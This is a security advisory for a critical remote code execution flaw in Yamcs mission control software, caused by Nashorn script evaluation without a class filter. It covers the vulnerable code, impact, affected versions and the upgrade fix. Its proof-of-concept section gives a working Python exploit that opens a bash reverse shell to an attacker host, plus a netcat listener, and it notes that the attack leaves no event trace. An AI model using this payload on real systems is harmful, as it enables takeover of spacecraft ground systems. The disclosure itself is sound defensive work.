GHSA-vmwp-vh32-rj75 CVE-2026-46562
Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.98%
- Chance of exploitation in the next 30 days. Higher than 62.11% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
5.12.7- Upgrade org.yamcs:yamcs-core to this version or later
Description
Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);
NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener:
nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can:
- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
- install a persistent backdoor via the same primitive.
Who is impacted:
- All Yamcs deployments running in the default configuration (no
security.yamlpresent): any unauthenticated network attacker that can reach the HTTP API port (default8090). - Yamcs deployments with security enabled: any user that has been granted the
ChangeMissionDatabasesystem privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected Versions
All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - Routing change at
yamcs-5.5.0(2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.
In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).
Affected versions
Maven
| Package | Vulnerable | Fixed in |
|---|---|---|
| org.yamcs:yamcs-core | < 5.12.7 |
5.12.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
org.yamcs:yamcs-core Maven → 5.12.7
- maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.12.7</version></dependency>- gradle
implementation("org.yamcs:yamcs-core:5.12.7")
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
How to prevent it
- Architecture and Design: Refactor your code to avoid using reflection.
- Architecture and Design: Do not use user-controlled inputs to select and load classes or code.
- Implementation: Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9272-wg2r-7xmx Yamcs has DOM XSS in Extension Routing | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-c64q-hj4j-375f Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`) | Critical | Also affects org.yamcs:yamcs-core |
| GHSA-73mf-m39p-wpm9 Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance) | Critical | Also affects org.yamcs:yamcs-core |
| GHSA-9jg3-g3wh-w9pj Yamcs has Unauthenticated Directory Traversal | High | Also affects org.yamcs:yamcs-core |
| GHSA-rxpg-wjf8-qv9c Yamcs has Reflected XSS in the URL of the Authorize Endpoint | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-cvw4-55pp-3hfq Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-fwww-cp23-7f5g Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-962x-ccwf-8x6p Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities | High | Also affects org.yamcs:yamcs-core |
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